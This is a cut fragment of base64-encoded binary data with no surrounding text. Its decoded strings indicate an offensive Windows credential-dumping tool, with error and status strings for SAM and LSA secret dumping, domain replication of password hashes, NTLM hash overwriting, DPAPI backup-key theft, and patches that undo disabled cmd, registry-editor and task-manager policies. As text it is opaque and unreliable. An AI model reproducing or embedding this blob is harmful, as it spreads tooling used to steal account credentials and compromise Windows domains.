ABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAoADIAKQAhAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADIAIAA6ACAAAAAAACAAIABDAGgAZQBjAGsAcwB1AG0AIAAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBTAGUAdABWAGEAbAB1AGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAA+ACAAVQBzAGUAcgAgAGMAYQBjAGgAZQAgAHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAKAAxACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAxACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUALgAqAHMAAAAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAU2FtSUNvbm5lY3QAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBWaXJ0dWFsQWxsb2MAAAAAbWVtY3B5AABMb2NhbEFsbG9jAABwAGEAdABjAGgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGkAbgBqAGUAYwB0AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAFMAYQBtAFMAcwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAKAAAAUAByAGkAbQBhAHIAeQAAAEMATABFAEEAUgBUAEUAWABUAAAAVwBEAGkAZwBlAHMAdAAAAEsAZQByAGIAZQByAG8AcwAAAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAE4AVABMAE0ALQBTAHQAcgBvAG4AZwAtAE4AVABPAFcARgAAACAAIAAgACAATgBUAEwATQAgADoAIAAAAAoAIAAgACAAIABMAE0AIAAgACAAOgAgAAAAAABsAG0AIAAgAAAAAAAgACAAIAAgACUALgAqAHMACgAAACAAIAAgACAAJQAwADIAdQAgACAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAFMAZQByAHYAaQBjAGUAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABPAGwAZABlAHIAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgAFIAYQBuAGQAbwBtACAAVgBhAGwAdQBlACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAgACAASQBuACAAAAAgAE8AdQB0ACAAAAAgAEkAbgAtADEAAABPAHUAdAAtADEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAbgB0AGQAcwAAAAAACQBQAEYAWAAgAGMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABrAGUAeQAAAGwAZQBnAGEAYwB5AAAAAAAAAAAAIAAgACoAIABVAG4AawBuAG8AdwBuACAAawBlAHkAIAAoAHMAZQBlAG4AIABhAHMAIAAlADAAOAB4ACkACgAAAAkARQB4AHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAeQBGAHIAbwBtAEcAVQBJAEQAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAcwBlAGMAcgBlAHQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAASQBuAHYAYQBsAGkAZAAgAEcAVQBJAEQAIAAoADAAeAAlADAAOAB4ACkAIAA7ACAAJQBzAAoAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAACgBDAG8AbQBwAGEAdABpAGIAaQBsAGkAdAB5ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHIAcABkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAGEAYwBjAG8AdQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAACAAIABBAGMAYwBvAHUAbgB0ADoAIAAlAHMACgAAAAAAIAAgAE4AVABMAE0AIAAgACAAOgAgAAAAIAAgAE4AVABMAE0ALQAxACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAVAByAHUAcwB0AFAAYQBzAHMAdwBvAHIAZABzAEcAZQB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAYwBoACAAQwBhAG4AZABpAGQAYQB0AGUAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABlADIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBSAGUAcQBDAGgAYQBsAGwAZQBuAGcAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAYwAKAAAAVABhAHIAZwBlAHQAIABzAGUAcgB2AGUAcgA6ACAAJQB3AFoACgAAAFQAYQByAGcAZQB0ACAAdQBzAGUAcgAgACAAOgAgACUAdwBaAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAaQBnAGUAcwB0ACAATgBUAEwATQAgAGgAYQBzAGgAIABmAHIAbwBtACAAcABhAHMAcwB3AG8AcgBkADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQB0AG4AdABsAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAJwAlAHMAJwAgAHQAbwAgAE4AVABMAE0AIABoAGEAcwBoACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAqACoAIABOAG8AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABwAHIAbwB2AGkAZABlAGQALAAgAHcAaQBsAGwAIAB1AHMAZQAgAHQAaABlACAAZABlAGYAYQB1AGwAdAAgAG8AbgBlACAAKgAqAAoAAAAAAE4AVABMAE0AIAAgACAAIAAgACAAIAAgACAAOgAgAAAARABvAG0AYQBpAG4AIABuAGEAbQBlACAAIAA6ACAAJQB3AFoACgAAAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgACAAOgAgAAAAVQBzAGUAcgAgAFIASQBEACAAIAAgACAAIAA6ACAAJQB1AAoAAAAAAAAAAAAKAD4APgAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzACAAYQByAGUAIABpAG4AIAB0AGgAZQAgAHQAYQByAGcAZQB0ACAAUwBBAE0AIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABTAGEAbQBTAGUAdABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAdABuAHQAbABtACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AOgAgACUAMAA4AHgACgAAAAAAYwBtAGQAAAAAAAAAQwBvAG0AbQBhAG4AZAAgAFAAcgBvAG0AcAB0ACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAApAAAAAAByAGUAZwBlAGQAaQB0AAAAAAAAAFIAZQBnAGkAcwB0AHIAeQAgAEUAZABpAHQAbwByACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwApAAAAAAB0AGEAcwBrAG0AZwByAAAAVABhAHMAawAgAE0AYQBuAGEAZwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACkAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABKAHUAbgBpAHAAZQByACAATgBlAHQAdwBvAHIAawAgAEMAbwBuAG4AZQBjAHQAIAAoAHcAaQB0AGgAbwB1AHQAIAByAG8AdQB0AGUAIABtAG8AbgBpAHQAbwByAGkAbgBnACkAAAAAAGQAZQB0AG8AdQByAHMAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAYwBvAG0AcAByAGUAcwBzAG0AZQAAAAAAdwBwAAAAAABtAGkAcwBjAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBnAGUAbgBlAHIAaQBjAF8AbgBvAGcAcABvAF8AcABhAHQAYwBoACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAGZvcGVuAAAAZndwcmludGYAAAAAZmNsb3NlAABsAHMAYQBzAHMALgBlAHg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AXwB1AG4AaQB4AAAAbgB0AAAAAAB3AGYAdwAAAHMAZQByAHYAZQByAF8AbQBmAHAAbgAAAHMAZQByAHYAZQByAF8AbgB0AAAAcABvAHQAZQBuAHQAaQBhAGwAXwBiAHIAbwB3AHMAZQByAAAAYgBhAGMAawB1AHAAXwBiAHIAbwB3AHMAZQByAAAAAABtAGEAcwB0AGUAcgBfAGIAcgBvAHcAcwBlAHIAAAAAAGQAbwBtAGEAaQBuAF8AbQBhAHMAdABlAHIAAABzAGUAcgB2AGUAcgBfAG8AcwBmAAAAAABzAGUAcgB2AGUAcgBfAHYAbQBzAAAAAAB3AGkAbgBkAG8AdwBzAAAAZABmAHMAAABjAGwAdQBzAHQAZQByAF8AbgB0AAAAAAB0AGUAcgBtAGkAbgBhAGwAcwBlAHIAdgBlAHIAAAAAAGMAbAB1AHMAdABlAHIAXwB2AHMAXwBuAHQAAAAwAHgAMAA4ADAAMAAwADAAMAAwACAAPwAAAAAAZABjAGUAAABhAGwAdABlAHIAbgBhAHQAZQBfAHgAcABvAHIAdAAAAGwAbwBjAGEAbABfAGwAaQBzAHQAXwBvAG4AbAB5AAAAZABvAG0AYQBpAG4AXwBlAG4AdQBtAAAAcABsAGEAdABmAG8AcgBtAF8AaQBkADoAIAAlAHUACgBuAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAHYAZQByAHMAaQBvAG4AIAAgACAAIAA6ACAAJQB1AC4AJQB1AAoAYwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgB0AHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwBlAHIAdgBlAHIAaQBuAGYAbwAgADsAIABOAGUAdABTAGUAcgB2AGUAcgBHAGUAdABJAG4AZgBvADoAIAAlADAAOAB4AAoAAABkAGUAYgB1AGcAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZAByAGkAdgBlAHIAAAAAAEEAcwBrACAAbABvAGEAZAAgAGQAcgBpAHYAZQByACAAcAByAGkAdgBpAGwAZQBnAGUAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAHIAZQBzAHQAbwBy